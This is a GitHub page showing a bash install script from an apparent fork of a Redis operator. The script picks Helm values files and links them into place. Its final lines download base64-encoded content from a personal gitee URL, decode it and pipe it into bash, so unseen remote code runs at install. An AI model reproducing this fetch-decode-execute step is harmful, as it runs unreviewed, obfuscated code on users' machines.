forked from OT-CONTAINER-KIT/redis-operator
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinstall
executable file
·40 lines (35 loc) · 1.19 KB
/
install
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env bash
set -e
REPO="https://ot-container-kit.github.io/helm-charts"
CHARTS="redis-operator:0.18.5"
export NAMESPACE="redis"
BASE64pre=""
BASE64post=""
export REPO CHARTS NAMESPACE BASE64pre BASE64post
cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1
case $1 in
d | D | debug | DEBUG)
export DRY_RUN=true
shift
;;
esac
for obj in $CHARTS; do
chart=${obj%:*}
chart_envs="$(find . -type f -name "values.$chart.*.yaml")"
if [[ -n "$chart_envs" ]]; then
for target in $chart_envs; do awk -F. '{print $4}' <<<"$target"; done
while true; do
read -rp "Please INPUT: " target
if [[ -s "values.$chart.$target.yaml" ]]; then
ln -sf "values.$chart.$target.yaml" "values.$chart.yaml"
[[ -s "$chart.$target.pre" ]] && ln -sf "$chart.$target.pre" "$chart.pre"
[[ -s "$chart.$target.ins" ]] && ln -sf "$chart.$target.ins" "$chart.ins"
[[ -s "$chart.$target.post" ]] && ln -sf "$chart.$target.post" "$chart.post"
break
fi
done
fi
[[ -s values="values.$chart.yaml" ]] || touch "values.$chart.yaml"
done
BASE64run="$(wget -qO- https://gitee.com/muicoder/public/raw/master/BASE64run)"
echo "$BASE64run" | base64 -d | bash -s --